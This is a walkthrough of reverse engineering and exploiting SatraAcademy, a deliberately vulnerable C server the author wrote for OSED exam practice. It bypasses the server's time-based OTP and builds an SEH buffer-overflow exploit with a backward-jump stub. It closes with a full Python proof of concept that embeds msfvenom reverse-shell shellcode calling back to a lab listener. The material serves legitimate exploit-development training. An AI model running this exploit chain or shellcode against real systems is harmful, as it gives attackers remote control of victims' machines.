Satra Academy - Vulnerable C Application for Reverse Engineering & Exploit Development

Introduction

If you’ve landed here, you might’ve had a go at SatraAcademy, a vulnerable C application I wrote to practice reverse engineering & exploit development.

Working through Offensive Security’s Windows User Mode Exploit Development (EXP-301 / OSED) course somewhat got me interested in picking up low-level programming languages, especially C. This interest together with the lack of vulnerable programs to use as practice for the exam led me to this project. Hopefully it is of some benefit to you.

The following is a walkthrough of the reverse engineering & exploit development process. Tools used were IDA, and Windbg.

Entry Point

The main function seems quite simple, and it looks like the main work of the application is done in this highlighted area below.

921f4e8d020e1e40dca834840e269c22.png

handleOTP function

As we get started at the top of this graph, we find: b09d03d49cb49bab526c559f29eb01cd.png

  1. a windows socket function, which through dynamic analysis appears to be the send() function. We should note this for our POC script. a0746247b298642b77d79f935ff5a5c3.png

  2. the handleOTP function 60c1871a2057f2fb4ec6b77284a1b0ce.png

  3. and lastly, a static string, which hints that we need to get a successful return from handleOTP to get to the branch on the right, where the execution of the program continues

Client-side OTP

Diving into handleOTP:

6f2c8d30f1e17e433df749898e7451d5.png

  1. recv() is called for 0x10 bytes - again relevant to our POC. The next few instructions seem to be performing some transformation with our input. From basic analysis it seems this comprises of a shift-left, followed by the AND operation. This happens 4 times, which is indicative of 4 bytes being transformed into a DWORD.
  2. and a hint that this transformed input is received as the OTP

We can prove our above assumptions with some basic dynamic analysis shown below With 0x12345678 sent in little-endian format, application simply performs its own transformation to receive this OTP as it was sent.

buf = pack("<i", 0x12345678) 
buf += b"\x90" * (0x10 - len(buf)) # junk to send total of 0x10 bytes

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(server, port)
print(s.recv(1024))
s.send(buf)
s.close()

Before transformation (as received in memory): 80dec368b5ce6df00be3df465479a134.png After transformation: 2f10445646d0f86ddd4c1764297c00e5.png

Server-side OTP

After the OTP is received, some calculations seem to be done. We can see towards the end a CMP instruction comparing the output of these calculations with the received OTP. It’s a safe guess that this chunk is the logic for server-generated OTP. 9815b32eb1aaf76922a08b8bb31129f4.png

Let’s step through this:

  1. It’s clear something is done with the time function
  2. This output is then taken and more calculations performed to derive the output. It’s not clear to me from this graph what exactly happens. To save some time I will just use a debugger and observe.

Looking through instructions 2 important functions are called - time (as we expected), and something that looks like a division. division of time perhaps? ab1f1e1b6e6dd179469328b196410721.png

1st function returns output of a typical time() call: 37b61d21d0c549bda9a59b8b2f6dd4d0.png

2nd function returns the previous output divided by 10. This is probably done to keep the generated OTP valid for 10 seconds. Neat, we have the starting point of OTP generation. be01b20aa584e24975cc08077164bd98.png

From here we simply need to follow the EAX register and duplicate the calculations in our POC script: There are 3 calculations in total (2nd is a shift-left, which is in the highlighted subroutine)

eac2757ea73fb10ac1e1998bbdb06871.png

def timeCalc():
    t = int(round(time.time()) / 10)
    t = ((0x186343 ^ t) << 4) ^ 0x45124021
    return t

otp = pack("<i", timeCalc())
otp += b"\x90" * (0x10 - len(otp))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))
print(s.recv(1024))
s.send(otp)
s.close()

From here we can send our POC and see if we’re successful. Perfect ! 8dbdadc91c08721d0252729cba92ff1c.png

There seem to be 4 possible functions in the graph - LIST, ADD, SEARCH, EDIT. We will look at them individually

List

Mechanism to enter List seems fairly easy: 02160554d03fe38803cf9d3693b376c3.png

  1. Application calls recv() for another 0x10 bytes. Note the application only receives 0x10 bytes regardless of our sent data. There is also a memset prior to this with size of 0x10 (indicating correct memory allocation). This rules out the possibility of any memory corruption for now.
  2. strncmp (string comparison) checking that the first 4 bytes = LIST

Within the List function, of interest to us is the memory allocation of 2 variables: 6d582f056ab8fcf661108cfc266c363e.png

Further down: 39a3a6cb05672e22c6038173f7195fe4.png

  1. sprintf function(within subroutine) performed a few times within a loop
  2. strcpy. Memory corruption is a possibility here, but there is no evidence that we have control of any arguments to sprintf

Lastly a send() function that presumably sends the result of above 932cd850468ba3146965dbcb30ea69ff.png

We can again check our assumptions with the below POC. Other than the “LIST” string (with 0x10 bytes total), no other user input is taken for this function, which rules out useful memory corruption.

def timeCalc():
    t = int(round(time.time()) / 10)
    t = ((0x186343 ^ t) << 4) ^ 0x45124021
    return t

otp = pack("<i", timeCalc())
otp += b"\x90" * (0x10 - len(otp))

list1 = b"LIST"
list1 += b"\x90" * (0x10 - len(list1))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))
print(s.recv(1024))
s.send(otp+list1)
s.close()

98242efe62cc265be1c59710709bc8e5.png

Add

Next up we have Add, and again here a strncmp of 3 bytes, checking for the “ADD” string: c4cf0063454d435d3f866d0bf516e484.png

Digging into the meat of this function: ee8ebe3f53055c0d0b3db479fad21a04.png

  1. First a recv() call with a buffer of 0x190 bytes, which is definitely large enough for a typical shellcode. This looks promising
  2. A format string, which hints a function like sscanf / sprintf (might lead to memory corruption vulnerabilities)
  3. In this case sscanf is called. We can safely assume some user input is taken, and sscanf splits this up into 3 variables
  4. Here the return value of sscanf (number of filled variables) is compared to 3. Therefore our input should fill all of Course, Lecturer, & Building, in order to successfully add a course

Test #1

Again testing assumptions with the below as part of our POC:

add1 = b"ADD"
add1 += b"A" * (0x10 - len(add1))
add1 += b"Course:Advanced Sorcery,Lecturer:Dumbledore,Building:Hogwarts"

Pausing execution at the sscanf call, we can see the 3 variables that will be filled as the 3rd-5th arguments on the stack: 8f9ab0b4fe3ef856f61a46a2a945c5e7.png

A typical memory corruption vulnerability occurs when the developer does not allocate sufficient space for a variable. For example, if 10 bytes are allocated for a string which an attacker can fill with 500 bytes, a buffer overflow occurs.

At the start of the Add function, a call to memset occurs 4 times, with 3 of them using 0x1f4 as the size parameter. This is a big hint that the developer has allocated a large number of bytes for each of the 3 variables that will be filled by sscanf. 7af365853da8c089c684477f86eeff86.png

Also recalling the recv() function that occurs prior to the sscanf call, only 0x190 bytes are received from the user. This effectively means each of the 3 variables are allocated a larger number of bytes than we are able to send, ruling out the possibility of a memory corruption vulnerability. 8855c05c8a9893691b19c85b42c6862a.png

Test #2

Just to be sure, we test our assumption again, this time sending 0x4000 bytes for good measure

payload = b"A" * 0x4000

add1 = b"ADD"
add1 += b"A" * (0x10 - len(add1))
add1 += b"Course:%b" % payload

As expected, it’s not going to be possible to fill this buffer with more than 0x190 bytes, which falls short of the allocated 0x1f4 bytes. 0b5a33d39ec28b97ccef4b1b1e84b4ff.png

826d6e32c3bed0ed3d0ddc06526d99c8.png

Search

Into the Search function: bf864cfc5478f01cada78397ba17f5df.png

  1. memset is called with size of 0x1e
  2. recv() is then called, to receive user input into the same buffer of size 0x1e

As expected from a Search function, a function that does just that is called. StrStrIA basically checks for a substring within a string (non case-sensitive). Our previously provided buffer of size 0x1e is passed into this function: 0f0600d37e75fbf3ef75e8c5adfb490d.png

Interestingly, this is done in a loop, and either returns a positive result from within the loop, or a negative result if the loop is finished without a positive result: dc3f9a3d455337d76d1623c5d911f774.png

Test #1

We will test our assumptions with the below as part of our POC:

search1 = b"SEARCH"
search1 += b"\x90" * (0x10 - len(search1))
search1 += b"searchString"

As expected, StrStrIA is called with our searchString as 2nd argument: d21c525f21db1a3093faf485cc63af47.png

And this is called 2 more times where our user input is checked against an array of strings (as expected within a loop): 616b7293e7fabe4ca304f0b8630a9530.png dd95e0e2751268b426ed70ca1c2e1e8c.png

If we follow our user input into the success branch, we will find: 5f268fba2bc831add86f6d995cf6fc70.png

  1. a sprintf function which looks promising as it stores some string into a buffer allocated 0x3c bytes of space, but we will find through dynamic analysis that this string is not our user input (shown below) 2afba391afae41bf1f2e8ba2f2aba9a7.png

  2. This formatted string is sent back to the user

Edit

Lastly we have the Edit function.

Right off the bat we can notice 0x512 bytes allocated to receive user input. This is a relatively large buffer:

72ea8d1fa9bc954a1eb071c9dee765d0.png

Next up memset is being called for 4 separate variables. One of these is only for 0x4 bytes (definitely keeping an eye on this), and the rest for 0x512 bytes.

7f9b4615ae47587c2843ab4198b09b0b.png

Red herring?

A sscanf follows, very much similar to the one from the Add function. Here there are 4 values to be filled. As we saw, 3 of the variables to be filled are allocated 0x512 bytes, which is the maximum we are allowed to send through this recv function.

However, the first variable is only assigned 4 bytes. A good assumption is that the developer is intending to receive a number here. If no input validation is done, there’s probably a memory corruption vulnerability here. I’ll leave this as an exercise for the reader. Can you successfully develop a working exploit for this vulnerability? For now, we will move on. 9c53e599c9d8a52a3aebc39db4d8c551.png

%[^,],Course:%[^,],Lecturer:%[^,],Building:%s

Final conditions

Next, we find 3 checks, which lead to what looks like the successful branch: 6803b2f62b1702d668c96040952eed6d.png

  1. result of sscanf = 4 (4 variables must be filled)
  2. First filled variable is LTE (<=) an argument passed to the EDIT function which is the integer 3
  3. First fillled variable is > 0

Fatal error

The passing branch leads us to 3 sets of similar instructions, where first a memset is called, followed by a strcpy into that memory (1st set shown below)

And here, we find a crucial error by the developer. The strcpy instruction is copying variables 2,3, and 4 from the sscanf function (which are allocated 0x512 bytes of memory), into a buffer of size 0x32. This is a recipe for a classic buffer overflow.

4c59cee0abf908b52b49eca8b0a1bb30.png To check that our assumption is correct, we can send this payload as part of our POC:

payload = b"A" * 0x400

edit1 = b"EDIT"
edit1 += b"A" * (0x10 - len(edit1)) 
edit1 += b"1,Course:%b,Lecturer:Professor Dumbledore,Building:Hogwarts" % payload

The payload is successfully received: 5eebee5976a01b9e09d0f314a3b2b19d.png

And it looks like we have triggered a memory corruption vulnerability and overwritten the SEH (Structured Exception Handler) record. As a side note, there are multiple ways to develop a working exploit for this program, but I’ve gone down the SEH route for this guide. 4cac498a32f738d5205eb6994a149372.png

Exploit Development

Sneaky bad characters

An interesting twist in a typically mundane process. As we discovered previously, there are 3 checks before we get to the passing branch where the strcpy that leads to an overflow occurs:. Of relevance to us is no.1 - sscanf must fill 4 variables: 9b8fe1b19f5532b9db07c3809aa40880.png

When sending our full array of bad characters, we will find sscanf only fills 2 variables: cc9c1f4012cb67d88150ea3b97b3e997.png

Checking the buffer of the filled 2nd variable, we will find our input cut off at character 0x2c. This is the comma character, which makes sense since the format string is filling the 1st-3rd variables with every character in our input until it encounters a comma. f0bd47deae1f1afdf891064ce054660c.png 1bddbbb69b43301e460b2e1cfd87a10e.png

After removing 0x2c, we will find the result of sscanf = 4, and we can proceed into the strcpy branch. Below is the working POC excerpt for checking bad chars

badChars = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
badChars += b"A" * (0x400-len(badChars))
#badchars = \x00\x2c

edit1 = b"EDIT"
edit1 += b"A" * (0x10 - len(edit1)) 
edit1 += b"1,Course:%b,Lecturer:Professor Dumbledore,Building:Hogwarts" % badChars

Finding offset to EIP

With knowledge of the characters to omit in our exploit development process, we proceed to find our offset to EIP. Generate junk bytes with your preferred method (msf-pattern_create for me) and send it off:

# msf-pattern_create -l 0x400
junk = b"Aa0Aa1Aa..." 

edit1 = b"EDIT"
edit1 += b"A" * (0x10 - len(edit1)) 
edit1 += "1,Course:%b,Lecturer:Professor Dumbledore,Building:Hogwarts" % junk

bb34458d8abf18eda4bfb27b844c6698.png

a3714da3a0bd61f3c4296d2e26acad6d.png

SEH Overflow

As we previously discovered, we’ve overwritten the structured exception handler (SEH). Let’s step through a typical SEH overflow exploit as a quick recap, with the following payload sent as part of our exploit:

offset = b"A" * 564 # offset to EIP
sehHandler = b"B" * 4  # EIP
shellcode = b"C" * (0x400 - len(offset+sehHandler)) # space for shellcode 

finalPayload = offset + sehHandler + shellcode

c9603edeba3c0264555cfcc12297c3a2.png

  1. First the exception is reported, and handling begins
  2. As expected at this point, we own EIP (which is also the SEH Handler address) through our calculated offset. We now need to figure out how to jump to our buffer
  3. At this point, in simple terms, the system has setup the stack in order to handle the exception and because of that, the EstablisherFrame (which contains part of our buffer) is the 3rd address on the stack.

From here, it’s clear that after overwriting EIP, a simple POP POP RET gadget would POP 2 addresses off the stack, and allow us to jump to our buffer. You will also notice as with most SEH overflows, the buffer we return to will start with our SEH Next address (0x41414141), followed by SEH Handler address (0x42424242). Since SEH Next is controlled by us (4 bytes before EIP), we can use a simple short jump instruction, to jump over both of these addresses (8 bytes total), to reach the actual shellcode (starting with 0x43434343)

Finding POP POP RET

We can use a simple WInDBG script to automate this task for us:

  1. First find out the module address space: fc817f280c2f0a47ec0d82fb8dab723f.png
  2. Write a script that loops over the entire address space and looks for a valid POP POP RET
.block  
{  
    .for (r $t0 = 0x58; $t0 < 0x5F; r $t0 = $t0 + 0x01)  
    {  
        .for (r $t1 = 0x58; $t1 < 0x5F; r $t1 = $t1 + 0x01)  
        {  
            s -b 40100000 4010e000 $t0 $t1 c3  
        }  
    }  
}
  1. Luckily, we find multiple suitable instructions, which contains no null / bad characters 72bde16fa30b3aaa1287ae507d1423e6.png

All put together

offset = b"A" * 560 # Offset to EIP -4
sehNext = b"\x90\x90\xeb\x06" # Short Jump 0x6
sehHandler = pack("<i", 0x40103581) # POP ECX;POP ECX;RET
shellcode = b"C" * (0x400 - len(junk+eip)) # Space for shellcode

payload = offset + sehNext + sehHandler + shellcode

Sending the above payload, our error gets triggered again, and this time the POP POP RET gadget is successfully reached: 7caa27110ea1d7b731528e7dd8ff6bc4.png

From here we pass a short nop sled, followed by a short jump of 0x6 bytes, landing us perfectly in our shellcode! de83a9c3581b45db88499b81e9cecff8.png

Sweet sweet shell .. or not

So we know what happens next, right …..?? plug in a shellcode and wait for a shell?

Sadly we have one last obstacle to overcome. A typical msfvenom encoded shellcode throws an access violation error during an XOR operation near the ESI register. That’s odd. Looking closer we find the issue. ESI+0x0e happens to be at the address 001a0000, which looks very much like a new memory page. 075f030536be621742ea1b56a11a374d.png

When checking the virtual memory protection information on this page, we find this is a read-only page. This explains the issue. The decoder stub in the msf encoder expected ESI to be in writable memory, which was unfortunately not the case. 61100e6edeb21c91d77abc442fd27bf3.png

Big backward jump

There are probably a few options available, but this is what I chose:

  1. Move shellcode to the top of the buffer instead, where we should stay well within writable memory
  2. Find a way to jump back far enough to our shellcode

To do this we first need to find out how many bytes to jump back.

Sending off the following payload within our exploit:

shellcode = b"C" * 300 # shellcode at top now
offset = b"A" * (560 - len(shellcode))
sehNext = b"\x90\x90\xeb\x06"
sehHandler = pack("<i", 0x40103581)

payload = shellcode + offset + sehNext + sehHandler

Right after the POP POP RET instructions, we will find the shellcode within our buffer is now at -0x230 bytes :
864fbff3a0728b51699988fe99eb9322.png

The memory address we need to subtract 0x230 bytes from is currently 3rd on the stack. A simple POP POP POP instruction should get this address into a register, where we can then subtract 0x230, and finally jump to. 50560eb03a62ac74f6da662abe30f695.png

These are the instructions that will do the job (missing a few extra bytes to ensure stack alignment)

backJump += b"\x68\xd0\xfd\xff\xff" # push dword 0xfffffdd0 (avoid null bytes)
backJump += b"\x58" # pop eax
backJump += b"\xf7\xd8" # neg eax (0x25c in EAX)
backJump += b"\x5f\x5f\x5f" # pop edi x 3 (payload address in EDI)
backJump += b"\x29\xc7" # sub edi, eax (payload address - 0x25c in EDI)
backJump += b"\xff\xe7" # jmp edi (jump to payload)

Second times the charm

And this time we get it: 6c45ed29cea8622e2ccb1a14f4f67bb3.png

Full exploit POC

import socket
from struct import pack
import time

server = "192.168.56.122"
port = 9112

def timeCalc():
    t = int(round(time.time()) / 10)
    t = ((0x186343 ^ t) << 4) ^ 0x45124021
    return t

otp = pack("<I", timeCalc())
otp += b"\x90" * (0x10 - len(otp))

# msfvenom -p windows/shellcode_reverse_tcp LHOST=192.168.56.1 LPORT=443 -f python -b "\x00\x2c" exitfunc=thread -v shellcode
# badchars = \x00\x2c
shellcode =  b"\x90" * 6
shellcode += b"\x31\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e"
shellcode += b"\x81\x76\x0e\xcd\x8c\x18\xdd\x83\xee\xfc\xe2\xf4"
shellcode += b"\x31\x64\x9a\xdd\xcd\x8c\x78\x54\x28\xbd\xd8\xb9"
shellcode += b"\x46\xdc\x28\x56\x9f\x80\x93\x8f\xd9\x07\x6a\xf5"
shellcode += b"\xc2\x3b\x52\xfb\xfc\x73\xb4\xe1\xac\xf0\x1a\xf1"
shellcode += b"\xed\x4d\xd7\xd0\xcc\x4b\xfa\x2f\x9f\xdb\x93\x8f"
shellcode += b"\xdd\x07\x52\xe1\x46\xc0\x09\xa5\x2e\xc4\x19\x0c"
shellcode += b"\x9c\x07\x41\xfd\xcc\x5f\x93\x94\xd5\x6f\x22\x94"
shellcode += b"\x46\xb8\x93\xdc\x1b\xbd\xe7\x71\x0c\x43\x15\xdc"
shellcode += b"\x0a\xb4\xf8\xa8\x3b\x8f\x65\x25\xf6\xf1\x3c\xa8"
shellcode += b"\x29\xd4\x93\x85\xe9\x8d\xcb\xbb\x46\x80\x53\x56"
shellcode += b"\x95\x90\x19\x0e\x46\x88\x93\xdc\x1d\x05\x5c\xf9"
shellcode += b"\xe9\xd7\x43\xbc\x94\xd6\x49\x22\x2d\xd3\x47\x87"
shellcode += b"\x46\x9e\xf3\x50\x90\xe4\x2b\xef\xcd\x8c\x70\xaa"
shellcode += b"\xbe\xbe\x47\x89\xa5\xc0\x6f\xfb\xca\x73\xcd\x65"
shellcode += b"\x5d\x8d\x18\xdd\xe4\x48\x4c\x8d\xa5\xa5\x98\xb6"
shellcode += b"\xcd\x73\xcd\x8d\x9d\xdc\x48\x9d\x9d\xcc\x48\xb5"
shellcode += b"\x27\x83\xc7\x3d\x32\x59\x8f\xb7\xc8\xe4\xd8\x75"
shellcode += b"\xf5\x8d\x70\xdf\xcd\x8d\xa3\x54\x2b\xe6\x08\x8b"
shellcode += b"\x9a\xe4\x81\x78\xb9\xed\xe7\x08\x48\x4c\x6c\xd1"
shellcode += b"\x32\xc2\x10\xa8\x21\xe4\xe8\x68\x6f\xda\xe7\x08"
shellcode += b"\xa5\xef\x75\xb9\xcd\x05\xfb\x8a\x9a\xdb\x29\x2b"
shellcode += b"\xa7\x9e\x41\x8b\x2f\x71\x7e\x1a\x89\xa8\x24\xdc"
shellcode += b"\xcc\x01\x5c\xf9\xdd\x4a\x18\x99\x99\xdc\x4e\x8b"
shellcode += b"\x9b\xca\x4e\x93\x9b\xda\x4b\x8b\xa5\xf5\xd4\xe2"
shellcode += b"\x4b\x73\xcd\x54\x2d\xc2\x4e\x9b\x32\xbc\x70\xd5"
shellcode += b"\x4a\x91\x78\x22\x18\x37\xf8\xc0\xe7\x86\x70\x7b"
shellcode += b"\x58\x31\x85\x22\x18\xb0\x1e\xa1\xc7\x0c\xe3\x3d"
shellcode += b"\xb8\x89\xa3\x9a\xde\xfe\x77\xb7\xcd\xdf\xe7\x08"

offset = b"A" * (560 - len(shellcode))
sehNext = b"\x90\x90\xeb\x06"
sehHandler = pack("<i", 0x40103581)
backJump = b"\x90" * 2 # for alignment
backJump += b"\x68\xa4\xfd\xff\xff" # push dword 0xfffffda2
backJump += b"\x58" # pop eax
backJump += b"\xf7\xd8" # neg eax
backJump += b"\x5f\x5f\x5f" # pop edi x 3
backJump += b"\x29\xc7" # sub edi, eax
backJump += b"\xff\xe7" # jmp edi
junk = b"B" * 0x100 # junk to ensure SEH overwrite

payload = shellcode + offset + sehNext + sehHandler + backJump + junk

edit1 = b"EDIT"
edit1 += b"A" * (0x10 - len(edit1)) 
edit1 += b"1,Course:%b,Lecturer:Professor Dumbledore,Building:Hogwarts" % payload

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))
print(s.recv(1024).decode())
s.send(otp+edit1) 
print(s.recv(1024).decode())
s.close()